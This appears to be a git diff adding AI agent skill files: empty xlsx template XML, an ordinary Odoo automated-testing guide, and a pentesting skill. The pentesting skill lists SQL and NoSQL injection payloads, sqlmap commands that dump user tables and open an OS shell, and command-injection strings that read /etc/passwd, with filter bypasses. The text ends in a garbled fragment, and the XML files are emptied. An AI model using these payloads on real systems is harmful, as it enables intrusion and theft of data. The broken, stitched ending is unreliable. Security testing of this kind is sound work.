b/skills/minimax-xlsx/templates/minimal_xlsx/xl/sharedStrings.xml @@ -0,0 +1,33 @@ + + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/xl/styles.xml b/skills/minimax-xlsx/templates/minimal_xlsx/xl/styles.xml new file mode 100644 index 0000000..21e9c67 --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/xl/styles.xml @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/xl/workbook.xml b/skills/minimax-xlsx/templates/minimal_xlsx/xl/workbook.xml new file mode 100644 index 0000000..94001d0 --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/xl/workbook.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + diff --git a/skills/minimax-xlsx/templates/minimal_xlsx/xl/worksheets/sheet1.xml b/skills/minimax-xlsx/templates/minimal_xlsx/xl/worksheets/sheet1.xml new file mode 100644 index 0000000..9c52f5c --- /dev/null +++ b/skills/minimax-xlsx/templates/minimal_xlsx/xl/worksheets/sheet1.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + diff --git a/skills/odoo-automated-tests/SKILL.md b/skills/odoo-automated-tests/SKILL.md new file mode 100644 index 0000000..62caaf8 --- /dev/null +++ b/skills/odoo-automated-tests/SKILL.md @@ -0,0 +1,124 @@ +--- +name: odoo-automated-tests +description: "Write and run Odoo automated tests using TransactionCase, HttpCase, and browser tour tests. Covers test data setup, mocking, and CI integration." +risk: safe +source: "self" +--- + +# Odoo Automated Tests + +## Overview + +Odoo has a built-in testing framework based on Python's `unittest`. This skill helps you write `TransactionCase` unit tests, `HttpCase` integration tests, and JavaScript tour tests. It also covers running tests in CI pipelines. + +## When to Use This Skill + +- Writing unit tests for a custom model's business logic. +- Creating an HTTP test to verify a controller endpoint. +- Debugging test failures in a CI pipeline. +- Setting up automated test execution with `--test-enable`. + +## How It Works + +1. **Activate**: Mention `@odoo-automated-tests` and describe the feature to test. +2. **Generate**: Get complete test class code with setup, teardown, and assertions. +3. **Run**: Get the exact `odoo` CLI command to execute your tests. + +## Examples + +### Example 1: TransactionCase Unit Test (Odoo 15+ pattern) + +```python +# tests/test_hospital_patient.py +from odoo.tests.common import TransactionCase +from odoo.tests import tagged +from odoo.exceptions import ValidationError + +@tagged('post_install', '-at_install') +class TestHospitalPatient(TransactionCase): + + @classmethod + def setUpClass(cls): + # Use setUpClass for performance — runs once per class, not per test + super().setUpClass() + cls.Patient = cls.env['hospital.patient'] + cls.doctor = cls.env['res.users'].browse(cls.env.uid) + + def test_create_patient(self): + patient = self.Patient.create({ + 'name': 'John Doe', + 'doctor_id': self.doctor.id, + }) + self.assertEqual(patient.state, 'draft') + self.assertEqual(patient.name, 'John Doe') + + def test_confirm_patient(self): + patient = self.Patient.create({'name': 'Jane Smith'}) + patient.action_confirm() + self.assertEqual(patient.state, 'confirmed') + + def test_empty_name_raises_error(self): + with self.assertRaises(ValidationError): + self.Patient.create({'name': ''}) + + def test_access_denied_for_other_user(self): + # Test security rules by running as a different user + other_user = self.env.ref('base.user_demo') + with self.assertRaises(Exception): + self.Patient.with_user(other_user).create({'name': 'Test'}) +``` + +> **`setUpClass` vs `setUp`:** Use `setUpClass` (Odoo 15+) for shared test data. It runs once per class and is significantly faster than `setUp` which re-initializes for every single test method. + +### Example 2: Run Tests via CLI + +```bash +# Run all tests for a specific module +./odoo-bin --test-enable --stop-after-init -d my_database -u hospital_management + +# Run only tests tagged with a specific tag +./odoo-bin --test-enable --stop-after-init -d my_database \ + --test-tags hospital_management + +# Run a specific test class +./odoo-bin --test-enable --stop-after-init -d my_database \ + --test-tags /hospital_management:TestHospitalPatient +``` + +### Example 3: HttpCase for Controller Testing + +```python +from odoo.tests.common import HttpCase +from odoo.tests import tagged + +@tagged('post_install', '-at_install') +class TestPatientController(HttpCase): + + def test_patient_page_authenticated(self): + # Authenticate as a user, not with hardcoded password + self.authenticate(self.env.user.login, self.env.user.login) + resp = self.url_open('/hospital/patients') + self.assertEqual(resp.status_code, 200) + + def test_patient_page_redirects_unauthenticated(self): + # No authenticate() call = public/anonymous user + resp = self.url_open('/hospital/patients', allow_redirects=False) + self.assertIn(resp.status_code, [301, 302, 403]) +``` + +## Best Practices + +- ✅ **Do:** Use `setUpClass()` with `cls.env` instead of `setUp()` — it is dramatically faster for large test suites. +- ✅ **Do:** Use `@tagged('post_install', '-at_install')` to run tests after all modules are installed. +- ✅ **Do:** Test both the happy path and error conditions (`ValidationError`, `AccessError`, `UserError`). +- ✅ **Do:** Use `self.with_user(user)` to test access control without calling `sudo()`. +- ❌ **Don't:** Use a production database for tests — always use a dedicated test database. +- ❌ **Don't:** Rely on test execution order — each `TransactionCase` test is rolled back in isolation. +- ❌ **Don't:** Hardcode passwords in `HttpCase.authenticate()` — use `self.env.user.login` or a fixture user. + +## Limitations + +- **JavaScript tour tests** require a running browser (via `phantomjs` or `Chrome headless`) and a live Odoo server — not covered in depth here. +- `HttpCase` tests are significantly slower than `TransactionCase` — use them only for controller/route verification. +- Does not cover **mocking external services** (e.g., mocking an SMTP server or payment gateway in tests). +- Test isolation is at the **transaction level**, not database level — tests that commit data (e.g., via `cr.commit()`) can leak state between tests. diff --git a/skills/pentesting/SKILL.md b/skills/pentesting/SKILL.md new file mode 100644 index 0000000..6cf419e --- /dev/null +++ b/skills/pentesting/SKILL.md @@ -0,0 +1,383 @@ +--- +name: pentesting +description: | + Penetration testing skill combining SQL injection, command injection, SSRF, HTML injection, + SSH, and WordPress penetration testing. Use when performing security assessments. +--- + +# Penetration Testing + +Comprehensive pentesting skill combining: SQL injection, command injection, SSRF, HTML injection, SSH, and specialized platform testing. + +--- + +## Quick Reference + +| Vulnerability | Use Section | +|--------------|-------------| +| SQL Injection | **SQL Injection** | +| Database enumeration | **SQLMap** | +| Command injection | **Command Injection** | +| SSRF | **SSRF Testing** | +| HTML injection | **HTML Injection** | +| SSH testing | **SSH Pentesting** | +| WordPress | **WordPress Testing** | +| Web3 | **Web3 Testing** | + +--- + +## SQL Injection + +### Types +1. **In-Band** - Data returned via same channel +2. **Blind** - No data returned, infer from behavior +3. **Time-Based** - Use delays to infer data +4. **Out-of-Band** - Data via alternative channel + +### Testing Checklist +```bash +# Basic tests +' OR '1'='1 +' OR '1'='1' -- +' OR '1'='1' # +' OR '1'='1'/* +admin' -- +admin' # +admin'/* +' OR 1=1-- +' OR 1=1# +' OR 1=1/* +``` + +### NoSQL Injection +```javascript +// MongoDB +{"$ne": null} +{"$gt": ""} +{"$regex": ".*"} +{"$where": "function() { return true; }"} +``` + +### SQLMap +```bash +# Basic scan +sqlmap -u "http://target.com/?id=1" + +# POST request +sqlmap -u "http://target.com/login" --data="username=admin&password=test" + +# Cookie injection +sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123" + +# Enumerate databases +sqlmap -u "http://target.com/?id=1" --dbs + +# Enumerate tables +sqlmap -u "http://target.com/?id=1" -D database_name --tables + +# Dump data +sqlmap -u "http://target.com/?id=1" -D database_name -T users --dump + +# Shell access +sqlmap -u "http://target.com/?id=1" --os-shell +``` + +### SQLMap Options +| Option | Description | +|--------|-------------| +| `--dbs` | List databases | +| `-D` | Specify database | +| `--tables` | List tables | +| `-T` | Specify table | +| `--dump` | Extract data | +| `--os-shell` | OS shell access | +| `--batch` | Non-interactive | +| `--risk=3` | High risk tests | + +--- + +## Command Injection + +### Testing Checklist +```bash +# Common payloads +; ls +| ls +& ls +&& ls +|| ls +`ls` +$(ls) +| cat /etc/passwd +; cat /etc/passwd +`cat /etc/passwd` +$(cat /etc/passwd) + +# Blind command injection +& sleep 5 & +| sleep 5 & +; sleep 5 & +``` + +### Filter Bypass +```bash +# Space bypass +cat${IFS}/etc/passwd +catalert(1) + + + +